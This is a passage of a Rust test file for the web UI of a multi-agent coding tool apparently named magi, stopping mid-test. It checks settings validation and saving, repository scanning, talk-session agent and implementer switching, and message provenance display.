13015 (tmp, repo, machine)
13016 }
13017
13018 async fn settings_checkout(path: &FsPath, text: &str) {
13019 std::fs::create_dir_all(path).unwrap();
13020 std::fs::write(path.join("magi.toml"), text).unwrap();
13021 for args in [
13022 vec!["init", "-b", "main"],
13023 vec!["add", "magi.toml"],
13024 vec![
13025 "-c",
13026 "user.name=Test",
13027 "-c",
13028 "user.email=test@example.invalid",
13029 "commit",
13030 "-m",
13031 "fixture",
13032 ],
13033 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13034 vec![
13035 "symbolic-ref",
13036 "refs/remotes/origin/HEAD",
13037 "refs/remotes/origin/main",
13038 ],
13039 ] {
13040 crate::git::git(path, &args).await.unwrap();
13041 }
13042 }
13043
13044 #[tokio::test]
13045 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13046 let (tmp, repo, machine) =
13047 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13048 let root = tmp.path().join("roots");
13049 let selected = root.join("host/owner/selected");
13050 settings_checkout(
13051 &selected,
13052 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13053 )
13054 .await;
13055 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13056 let before = std::fs::read(&machine).unwrap();
13057 let ui = Arc::new(
13058 Ui::new(
13059 Queue::at(tmp.path().join("queue")),
13060 Questions::at(tmp.path().join("questions")),
13061 Talks::at(tmp.path().join("talks")),
13062 tmp.path().join("runs"),
13063 tmp.path().to_path_buf(),
13064 repo.clone(),
13065 )
13066 .with_machine_config(Some(machine.clone())),
13067 );
13068 let query = || {
13069 Query(SettingsQuery {
13070 repo: Some(selected.clone()),
13071 })
13072 };
13073 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13074 assert!(v.error.is_none(), "{:?}", v.error);
13075 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13076 assert_eq!(conductor.source, "repo");
13077 assert_eq!(
13078 conductor.machine_value,
13079 Some(toml::Value::String("a".into()))
13080 );
13081 assert!(!conductor.editable);
13082 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13083 assert_eq!(
13084 judges.count.as_ref().unwrap().machine_value,
13085 Some(toml::Value::Integer(1))
13086 );
13087 assert!(
13088 !v.roles
13089 .iter()
13090 .find(|r| r.key == "reviewers")
13091 .unwrap()
13092 .editable
13093 );
13094 let unknown = || {
13095 Query(SettingsQuery {
13096 repo: Some(tmp.path().to_path_buf()),
13097 })
13098 };
13099 assert_eq!(
13100 settings_get(State(ui.clone()), unknown())
13101 .await
13102 .unwrap_err()
13103 .status,
13104 StatusCode::UNPROCESSABLE_ENTITY
13105 );
13106 let body = || {
13107 Ok(Json(RolesBody {
13108 revision: v.revision.clone(),
13109 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13110 counts: Default::default(),
13111 }))
13112 };
13113 assert_eq!(
13114 settings_put_roles(State(ui.clone()), unknown(), body())
13115 .await
13116 .unwrap_err()
13117 .status,
13118 StatusCode::UNPROCESSABLE_ENTITY
13119 );
13120 assert_eq!(std::fs::read(&machine).unwrap(), before);
13121 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13122 .await
13123 .unwrap();
13124 assert_eq!(
13125 saved.repo,
13126 selected.canonicalize().unwrap().display().to_string()
13127 );
13128 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13129 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13130 let fresh = root.join("host/owner/fresh");
13132 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13133 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13134 .await
13135 .unwrap();
13136 assert_eq!(fresh_view.repositories.len(), 3);
13137 }
13138
13139 #[tokio::test]
13140 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13141 let (tmp, repo, machine) = settings_dirs(
13142 "[roles]\nreviewers = [\"a\"]\n",
13143 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13144 );
13145 let root = tmp.path().join("roots");
13146 let selected = root.join("host/owner/selected");
13147 settings_checkout(
13148 &selected,
13149 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13150 )
13151 .await;
13152 let broken = root.join("host/owner/broken");
13153 settings_checkout(&broken, "[roles\nbroken").await;
13154 let machine_text = format!(
13155 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13156 toml::Value::String(root.display().to_string())
13157 );
13158 std::fs::write(&machine, &machine_text).unwrap();
13159 let originals: Vec<_> = [&repo, &selected, &broken]
13160 .iter()
13161 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13162 .collect();
13163 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13164 let default = f.get("/api/settings").await.json();
13165 assert_eq!(
13166 default["repo"],
13167 repo.canonicalize().unwrap().display().to_string()
13168 );
13169 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13170 let query = format!("?repo={}", selected.display());
13171 let res = f.get(&format!("/api/settings{query}")).await;
13172 assert_eq!(res.status, 200, "{}", res.body);
13173 let v = res.json();
13174 assert!(v["error"].is_null(), "{v}");
13175 assert_eq!(v["repositories"], default["repositories"]);
13176 let role = |key: &str| {
13177 v["roles"]
13178 .as_array()
13179 .unwrap()
13180 .iter()
13181 .find(|r| r["key"] == key)
13182 .unwrap()
13183 };
13184 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13185 assert_eq!(role("advisors")["source"], "repo");
13186 assert_eq!(role("advisors")["editable"], false);
13187 assert!(role("advisors")["machine_value"].is_null());
13188 assert_eq!(role("judges")["count"]["value"], 2);
13189 assert_eq!(role("judges")["count"]["machine_value"], 1);
13190 assert_eq!(role("judges")["count"]["source"], "repo");
13191 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13192 assert!(
13193 source.contains("origin/main") && !source.contains("magi/config/"),
13194 "{source}"
13195 );
13196 assert_eq!(
13197 role("reviewers")["editable"],
13198 false,
13199 "default context outside roots must protect its declarations"
13200 );
13201 let body =
13202 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13203 let unknown = format!("?repo={}", tmp.path().display());
13204 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13205 assert_eq!(
13206 f.put(&format!("/api/settings/roles{unknown}"), &body)
13207 .await
13208 .status,
13209 422
13210 );
13211 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13212 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13213 .to_string();
13214 assert_eq!(
13215 f.put(&format!("/api/settings/roles{query}"), &refuse)
13216 .await
13217 .status,
13218 422
13219 );
13220 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13221 assert_eq!(saved.status, 200, "{}", saved.body);
13222 assert_eq!(saved.json()["repo"], v["repo"]);
13223 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13224 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13225 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13226 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13227 }
13228 let error = f
13229 .get(&format!("/api/settings?repo={}", broken.display()))
13230 .await;
13231 assert_eq!(error.status, 200);
13232 assert!(error.json()["error"]["message"].is_string());
13233 assert_eq!(error.json()["repositories"], default["repositories"]);
13234 }
13235
13236 #[tokio::test]
13237 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13238 let (_tmp, repo, machine) =
13239 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13240 let f = Fixture::with_repo_and_machine(repo, machine).await;
13241 let res = f.get("/api/settings").await;
13242 assert_eq!(res.status, 200, "{}", res.body);
13243 let v = res.json();
13244 assert!(v["error"].is_null(), "{v}");
13245 let role = |k: &str| {
13246 v["roles"]
13247 .as_array()
13248 .and_then(|r| r.iter().find(|x| x["key"] == k))
13249 .cloned()
13250 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13251 };
13252 assert_eq!(role("judges")["source"], "machine");
13253 assert_eq!(role("judges")["editable"], true);
13254 assert_eq!(role("implementers")["source"], "default");
13255 let adv = role("advisors");
13256 assert_eq!(adv["fallback"], "judges");
13257 assert!(
13258 adv["seats"]
13259 .as_array()
13260 .is_some_and(|s| s.iter().all(|x| x == "b")),
13261 "{adv}"
13262 );
13263 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13264 assert_eq!(v["agents"][0]["source"], "repo");
13265 }
13266
13267 #[tokio::test]
13268 async fn settings_get_reports_a_config_that_does_not_parse() {
13269 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13270 let f = Fixture::with_repo_and_machine(repo, machine).await;
13271 let res = f.get("/api/settings").await;
13272 assert_eq!(res.status, 200, "{}", res.body);
13273 let v = res.json();
13274 assert!(v["error"]["message"].is_string(), "{v}");
13275 assert!(
13276 v["error"]["path"]
13277 .as_str()
13278 .is_some_and(|p| p.ends_with("magi.toml")),
13279 "{v}"
13280 );
13281 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13282 }
13283
13284 #[tokio::test]
13285 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13286 let (_tmp, repo, machine) = settings_dirs(
13287 SETTINGS_AGENTS,
13288 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13289 );
13290 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13291 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13292 let rev = f.get("/api/settings").await.json()["revision"]
13293 .as_str()
13294 .expect("revision")
13295 .to_owned();
13296 let body = serde_json::json!({
13297 "revision": rev,
13298 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13299 })
13300 .to_string();
13301 let res = f.put("/api/settings/roles", &body).await;
13302 assert_eq!(res.status, 200, "{}", res.body);
13303 let text = std::fs::read_to_string(&machine).expect("machine");
13304 assert_eq!(
13305 text,
13306 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13307 );
13308 assert_eq!(
13309 std::fs::read(repo.join("magi.toml")).expect("read"),
13310 repo_before
13311 );
13312 let again = f.get("/api/settings").await.json();
13313 let judges = again["roles"]
13314 .as_array()
13315 .expect("roles")
13316 .iter()
13317 .find(|r| r["key"] == "judges")
13318 .expect("judges")
13319 .clone();
13320 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13321 let stale = f.put("/api/settings/roles", &body).await;
13323 assert_eq!(stale.status, 409, "{}", stale.body);
13324 }
13325
13326 #[tokio::test]
13327 async fn settings_counts_are_reported_and_saved() {
13328 let (_tmp, repo, machine) = settings_dirs(
13329 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13330 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13331 );
13332 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13333 let v = f.get("/api/settings").await.json();
13334 let count = |v: &serde_json::Value, k: &str| {
13335 v["roles"]
13336 .as_array()
13337 .and_then(|r| r.iter().find(|x| x["key"] == k))
13338 .map(|x| x["count"].clone())
13339 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13340 };
13341 let imp = count(&v, "implementers");
13342 assert_eq!(imp["value"], 2);
13343 assert_eq!(imp["source"], "machine");
13344 assert_eq!(imp["file_key"], "candidates");
13345 assert_eq!(imp["roster_len"], 2);
13346 assert_eq!(imp["backups"], 0);
13347 assert_eq!(count(&v, "judges")["source"], "default");
13348 assert_eq!(count(&v, "advisors")["min"], 0);
13349 assert_eq!(count(&v, "reviewers")["editable"], false);
13350 assert!(
13351 count(&v, "reviewers")["locked_reason"]
13352 .as_str()
13353 .is_some_and(|m| m.contains("graph.reviewers"))
13354 );
13355 assert!(count(&v, "fixer").is_null());
13356 let rev = v["revision"].as_str().expect("revision").to_owned();
13357 let body = serde_json::json!({
13358 "revision": rev,
13359 "roles": { "judges": ["b"] },
13360 "counts": { "implementers": 1, "advisors": 0 }
13361 })
13362 .to_string();
13363 let res = f.put("/api/settings/roles", &body).await;
13364 assert_eq!(res.status, 200, "{}", res.body);
13365 let text = std::fs::read_to_string(&machine).expect("machine");
13366 assert_eq!(
13367 text,
13368 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13369 );
13370 let after = f.get("/api/settings").await.json();
13371 assert_eq!(count(&after, "implementers")["value"], 1);
13372 assert_eq!(count(&after, "implementers")["backups"], 1);
13373 assert_eq!(count(&after, "advisors")["value"], 0);
13374 let before = std::fs::read_to_string(&machine).expect("machine");
13375 let rev = after["revision"].as_str().expect("revision").to_owned();
13376 for counts in [
13377 serde_json::json!({ "judges": 0 }),
13378 serde_json::json!({ "judges": "x" }),
13379 serde_json::json!({ "judges": 2.5 }),
13380 serde_json::json!({ "judges": -1 }),
13381 serde_json::json!({ "reviewers": 3 }),
13382 serde_json::json!({ "bogus": 3 }),
13383 ] {
13384 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13385 let res = f.put("/api/settings/roles", &body).await;
13386 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13387 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13388 }
13389 }
13390
13391 #[tokio::test]
13392 async fn settings_put_refuses_without_touching_the_file() {
13393 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13394 let (_tmp, repo, machine) = settings_dirs(
13395 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13396 Some(machine_text),
13397 );
13398 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13399 let rev = f.get("/api/settings").await.json()["revision"]
13400 .as_str()
13401 .expect("revision")
13402 .to_owned();
13403 for roles in [
13404 serde_json::json!({ "judges": ["nope"] }),
13405 serde_json::json!({ "reviewers": ["b"] }),
13406 serde_json::json!({ "bogus": ["a"] }),
13407 ] {
13408 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13409 let res = f.put("/api/settings/roles", &body).await;
13410 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13411 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13412 assert_eq!(
13413 std::fs::read_to_string(&machine).expect("machine"),
13414 machine_text
13415 );
13416 }
13417 }
13418
13419 #[tokio::test]
13420 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13421 let tmp = TempDir::new().expect("tempdir");
13422 let repo = tmp.path().join("repo");
13423 std::fs::create_dir_all(&repo).expect("repo dir");
13424 let root = tmp.path().join("root");
13425 make_checkout(&root, "github.com", "yukimemi", "magi");
13426 std::fs::write(
13427 repo.join("magi.toml"),
13428 format!(
13429 "[repos]\nroots = [{:?}]\n",
13430 root.to_string_lossy().into_owned()
13431 ),
13432 )
13433 .expect("write magi.toml");
13434
13435 let f = Fixture::with_repo(repo).await;
13436 let res = f.get("/api/repos").await;
13437 assert_eq!(res.status, 200, "{}", res.body);
13438 let list = res.json();
13439 let repos = list.as_array().expect("an array");
13440 assert_eq!(repos.len(), 1);
13441 assert_eq!(repos[0]["name"], "yukimemi/magi");
13442 assert!(
13443 repos[0]["path"]
13444 .as_str()
13445 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13446 "{list}"
13447 );
13448 }
13449
13450 #[tokio::test]
13451 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13452 let tmp = TempDir::new().expect("tempdir");
13453 let repo = tmp.path().join("repo");
13454 std::fs::create_dir_all(&repo).expect("repo dir");
13455 let root = tmp.path().join("root");
13456 make_checkout(&root, "github.com", "yukimemi", "magi");
13457 std::fs::write(
13458 repo.join("magi.toml"),
13459 format!(
13460 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13461 root.to_string_lossy().into_owned()
13462 ),
13463 )
13464 .expect("write magi.toml");
13465
13466 let f = Fixture::with_repo(repo).await;
13467 let first = f.get("/api/repos").await;
13468 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13469
13470 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13473 let second = f.get("/api/repos").await;
13474 assert_eq!(
13475 second.json().as_array().map(Vec::len),
13476 Some(1),
13477 "a fresh cache must not rescan inside the TTL"
13478 );
13479
13480 let refreshed = f.get("/api/repos?refresh=1").await;
13481 assert_eq!(
13482 refreshed.json().as_array().map(Vec::len),
13483 Some(2),
13484 "an explicit refresh must rescan even inside the TTL"
13485 );
13486 }
13487
13488 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13494
13495 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13499 let tmp = TempDir::new().expect("tempdir");
13500 let repo = tmp.path().join("repo");
13501 std::fs::create_dir_all(&repo).expect("repo dir");
13502 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13503 let f = Fixture::with_repo(repo.clone()).await;
13504 (tmp, repo, f)
13505 }
13506
13507 #[tokio::test]
13508 async fn posting_a_talk_with_remembered_choices_is_soft() {
13509 let (_tmp, _repo, f) = talk_fixture().await;
13510
13511 let good = f
13512 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13513 .await;
13514 assert_eq!(good.status, 201, "{}", good.body);
13515 assert_eq!(good.json()["persona"], "rei");
13516
13517 let stale = f
13519 .post(
13520 "/api/talks",
13521 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13522 )
13523 .await;
13524 assert_eq!(stale.status, 201, "{}", stale.body);
13525 let v = stale.json();
13526 assert_eq!(v["implementers"], 1);
13527 assert_ne!(v["persona"], "nobody");
13528 let typed = f
13529 .post(
13530 "/api/talks",
13531 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13532 )
13533 .await;
13534 assert_eq!(typed.status, 201, "{}", typed.body);
13535
13536 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13538 assert!(
13539 !strict.status.to_string().starts_with('2'),
13540 "{}",
13541 strict.body
13542 );
13543 }
13544
13545 #[tokio::test]
13546 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13547 let (_tmp, _repo, f) = talk_fixture().await;
13548
13549 let opened = f.post("/api/talks", None).await;
13552 assert_eq!(opened.status, 201, "{}", opened.body);
13553 let body = opened.json();
13554 assert_eq!(body["status"], "open");
13555 assert_eq!(
13556 body["turns"].as_array().unwrap().len(),
13557 0,
13558 "opening takes no agent turn: there is nothing yet to answer"
13559 );
13560
13561 let also_opened = f.post("/api/talks", Some("{}")).await;
13563 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13564
13565 let listed = f.get("/api/talks").await.json();
13566 assert_eq!(listed.as_array().unwrap().len(), 2);
13567 }
13568
13569 #[tokio::test]
13570 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13571 let tmp = TempDir::new().expect("tempdir");
13572 let repo = tmp.path().join("repo");
13573 std::fs::create_dir_all(&repo).expect("repo dir");
13574 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13575 std::fs::write(
13576 repo.join("magi.toml"),
13577 format!("{MOCK_AGENT_TOML}\n{second}"),
13578 )
13579 .expect("write magi.toml");
13580 let home = TempDir::new().expect("temp home");
13581 let talks = Talks::at(home.path().join("talks"));
13582 let ui = Arc::new(
13583 Ui::new(
13584 Queue::at(home.path().join("queue")),
13585 Questions::at(home.path().join("questions")),
13586 talks.clone(),
13587 home.path().join("runs"),
13588 home.path().to_path_buf(),
13589 repo.clone(),
13590 )
13591 .with_worktrees_root(home.path().join("wt")),
13592 );
13593 let cfg = config_for(&repo).await.expect("discover config");
13594 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13595 let id = talk.id.clone();
13596 let call = |agent: &str| {
13597 talk_agent(
13598 State(Arc::clone(&ui)),
13599 Path(id.clone()),
13600 Json(TalkAgent {
13601 agent: agent.to_owned(),
13602 }),
13603 )
13604 };
13605
13606 let unknown = call("nobody").await.expect_err("unknown agent");
13607 assert_eq!(
13608 unknown.status,
13609 StatusCode::BAD_REQUEST,
13610 "{}",
13611 unknown.message
13612 );
13613
13614 {
13615 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13618 let busy = call("second").await.expect_err("busy talk");
13619 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13620 assert!(
13621 busy.message.contains("a talk turn is running"),
13622 "{}",
13623 busy.message
13624 );
13625 drop(guard);
13626 }
13627 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13628
13629 let Json(view) = call("second").await.expect("switch");
13630 assert_eq!(view.talk.agent, "second");
13631 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13632 let saved = talks.get(&id).expect("reload");
13633 assert_eq!(saved.agent, "second");
13634 assert_eq!(saved.turns.len(), 1);
13635 assert!(!view.thinking);
13636 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13637 for agent in ["mock", "second"] {
13638 let Json(view) = call(agent).await.expect("immediate consecutive change");
13639 assert_eq!(view.talk.agent, agent);
13640 assert!(!view.thinking);
13641 assert!(!ui.is_thinking(&id));
13642 }
13643
13644 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13645 .await
13646 .expect("detail");
13647 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13648 assert_eq!(roster, ["mock", "second"]);
13649
13650 let mut closed = talks.get(&id).expect("reload");
13651 talk::close(&mut closed, &talks).expect("close");
13652 let refused = call("mock").await.expect_err("closed talk");
13653 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13654 assert!(
13655 refused.message.contains("takes no more turns"),
13656 "{}",
13657 refused.message
13658 );
13659 }
13660
13661 #[tokio::test]
13662 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13663 let tmp = TempDir::new().expect("tempdir");
13664 let repo = tmp.path().join("repo");
13665 std::fs::create_dir_all(&repo).expect("repo dir");
13666 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13667 let home = TempDir::new().expect("temp home");
13668 let talks = Talks::at(home.path().join("talks"));
13669 let ui = Arc::new(
13670 Ui::new(
13671 Queue::at(home.path().join("queue")),
13672 Questions::at(home.path().join("questions")),
13673 talks.clone(),
13674 home.path().join("runs"),
13675 home.path().to_path_buf(),
13676 repo.clone(),
13677 )
13678 .with_worktrees_root(home.path().join("wt")),
13679 );
13680 let cfg = config_for(&repo).await.expect("discover config");
13681 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13682 let id = talk.id.clone();
13683 let call = |n: u8| {
13684 talk_implementers(
13685 State(Arc::clone(&ui)),
13686 Path(id.clone()),
13687 Json(TalkImplementers { implementers: n }),
13688 )
13689 };
13690
13691 for bad in [0u8, 4] {
13692 let e = call(bad).await.expect_err("out of range");
13693 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13694 }
13695 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13696
13697 {
13698 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13701 let busy = call(2).await.expect_err("busy talk");
13702 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13703 assert!(
13704 busy.message.contains("a talk turn is running"),
13705 "{}",
13706 busy.message
13707 );
13708 drop(guard);
13709 }
13710
13711 let Json(view) = call(3).await.expect("switch");
13712 assert_eq!(view.talk.implementers, 3);
13713 assert!(talks.get(&id).expect("reload").implementers_dirty);
13714 assert!(!view.thinking);
13715 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13716 for n in [1, 2, 3] {
13717 let Json(view) = call(n).await.expect("immediate consecutive change");
13718 assert_eq!(view.talk.implementers, n);
13719 assert!(!view.thinking);
13720 assert!(!ui.is_thinking(&id));
13721 }
13722
13723 let mut closed = talks.get(&id).expect("reload");
13724 talk::close(&mut closed, &talks).expect("close");
13725 let e = call(2).await.expect_err("closed talk");
13726 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13727 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13728 }
13729
13730 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13732 let tmp = TempDir::new().expect("tempdir");
13733 let repo = tmp.path().join("repo");
13734 std::fs::create_dir_all(&repo).expect("repo dir");
13735 std::fs::write(
13736 repo.join("magi.toml"),
13737 format!("{MOCK_AGENT_TOML}\n{extra}"),
13738 )
13739 .expect("write magi.toml");
13740 let home = TempDir::new().expect("temp home");
13741 let talks = Talks::at(home.path().join("talks"));
13742 let ui = Arc::new(
13743 Ui::new(
13744 Queue::at(home.path().join("queue")),
13745 Questions::at(home.path().join("questions")),
13746 talks.clone(),
13747 home.path().join("runs"),
13748 home.path().to_path_buf(),
13749 repo.clone(),
13750 )
13751 .with_worktrees_root(home.path().join("wt")),
13752 );
13753 let cfg = config_for(&repo).await.expect("discover config");
13754 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13755 (tmp, home, ui, talk.id, repo)
13756 }
13757
13758 #[tokio::test]
13759 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13760 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13761 let mut conversation = ui.talks.get(&id).unwrap();
13762 talk::record(
13763 &mut conversation,
13764 &ui.talks,
13765 "# Update on a task you filed\noperator words",
13766 vec![],
13767 )
13768 .unwrap();
13769 conversation.turns[0].sender = None;
13771 conversation.turns[0].messages.clear();
13772 ui.talks.put(&mut conversation).unwrap();
13773 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13774 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13775 talk::drain(&mut conversation, &ui.talks).unwrap();
13776 talk::record_reply(
13777 &mut conversation,
13778 &ui.talks,
13779 "about that report",
13780 vec![],
13781 Some(talk::ReplyTarget {
13782 turn: 1,
13783 message: 1,
13784 }),
13785 )
13786 .unwrap();
13787 conversation.turns[2].messages[0]
13788 .reply
13789 .as_mut()
13790 .unwrap()
13791 .sender = None;
13792 conversation.turns.push(talk::Turn {
13793 sender: Some(talk::Sender::Persona),
13794 who: talk::Who::Agent,
13795 body: "magi: actual persona words".into(),
13796 at: Timestamp::now(),
13797 attachments: vec![],
13798 usage: None,
13799 breaks: None,
13800 messages: vec![],
13801 posted_by: None,
13802 });
13803 ui.talks.put(&mut conversation).unwrap();
13804 let view = TalkView::with_config(
13805 ui.talks.get(&id).unwrap(),
13806 false,
13807 None,
13808 &ui.home,
13809 &ui.references,
13810 );
13811 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13812 assert_eq!(
13813 view.talk.turns[1].messages[0].sender,
13814 Some(talk::Sender::Operator)
13815 );
13816 assert_eq!(
13817 view.talk.turns[1].messages[1].sender,
13818 Some(talk::Sender::Magi)
13819 );
13820 assert_eq!(
13821 view.talk.turns[2].messages[0]
13822 .reply
13823 .as_ref()
13824 .unwrap()
13825 .sender,
13826 Some(talk::Sender::Magi)
13827 );
13828 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13829 assert_eq!(view.turn_messages_md[0].len(), 1);
13830 assert!(view.turn_messages_md[0][0].is_none());
13831 assert!(view.turn_messages_md[1][0].is_none());
13832 assert!(view.turn_messages_md[1][1].is_some());
13833 }
13834
13835 #[tokio::test]
13836 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13837 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13838 let mut conversation = ui.talks.get(&id).unwrap();
13839 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13840 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13841 talk::queue_notice(
13842 &mut conversation,
13843 &ui.talks,
13844 &body,
13845 "watch:123",
13846 &|_| false,
13847 None,
13848 display.clone(),
13849 )
13850 .unwrap();
13851 assert!(
13852 !talk::queue_notice(
13853 &mut conversation,
13854 &ui.talks,
13855 &body,
13856 "watch:123",
13857 &|_| false,
13858 None,
13859 display.clone()
13860 )
13861 .unwrap()
13862 );
13863 let saved = ui.talks.get(&id).unwrap();
13864 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13865 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13866 assert!(
13867 view.talk.turns[0].messages[0].display.is_none(),
13868 "operator copy stays literal"
13869 );
13870 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13871 assert!(view.turn_messages_md[0][0].is_none());
13872 let queued_md = view.pending_messages_md[0].clone();
13873 assert_eq!(
13874 queued_md,
13875 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13876 );
13877 talk::drain(&mut conversation, &ui.talks).unwrap();
13878 talk::record_reply(
13879 &mut conversation,
13880 &ui.talks,
13881 "Explain",
13882 vec![],
13883 Some(talk::ReplyTarget {
13884 turn: 1,
13885 message: 0,
13886 }),
13887 )
13888 .unwrap();
13889 let mut saved = ui.talks.get(&id).unwrap();
13890 assert_eq!(saved.turns[1].messages[0].body, body);
13891 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13892 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13893 assert!(!reply.excerpt.contains("automatic report"));
